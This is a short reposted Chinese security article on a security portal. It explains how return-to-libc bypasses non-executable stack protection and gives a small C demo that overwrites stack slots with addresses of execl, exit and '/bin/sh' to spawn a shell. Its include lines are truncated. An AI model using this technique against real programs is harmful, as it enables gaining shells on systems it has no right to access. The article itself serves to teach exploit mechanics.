| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 网络安全首页 | 信道安全 | 设备安全 | 协议安全 | Web安全 |
绕过堆栈不可执行保护
简单绕过堆栈不可执行保护
作者:Aelphaei… 文章来源:邪恶八进制信息安全团队 点击数: 更新时间:2008-5-6 11:07:01

  对付缓冲区溢出的常见方法就是堆栈不可执行保护。众所周知溢出成功后都是执行shellcode,而shellcode一般都是在缓存区里,只要操作系统限制堆栈中的数据只可读写,不可执行,一旦堆栈中的数据被执行立即报告错误,并退出。那么溢出成功后也不能执行shellcode。

  但如果在堆栈中构造号参数然后跳转到标准C库中去运行,那么也就避开了堆栈保护。如下简单程序演示其原理:

  #include

  #include

  int main(int argc,char * argv[])

  {

  long p[1];

  char *cmd = "/bin/sh";

  printf("execl addr = %p\n",execl);

  p[2] = execl;

  p[3] = exit;

  p[4] = cmd;

  p[5] = 0;

  }

  运行程序可将得到一个/bin/sh shell

  注意:程序没有构造机器指令,仅通过溢出填写了一个返回地址->execl及execl所需参数。

文章录入:小张    责任编辑:小张 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    Linux系统下防火墙设置方
    ASP和Flash动态站的安全
    详解无线路由器安全设置
    如何让路由器摆脱安全困
    Proxy Server和SQL Serv
    PING命令的小秘密
    随心订制linux透明防火墙
    域名劫持攻击技术详细解
    子网安全从入口开始
    如何发现和防止Sniffer 
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有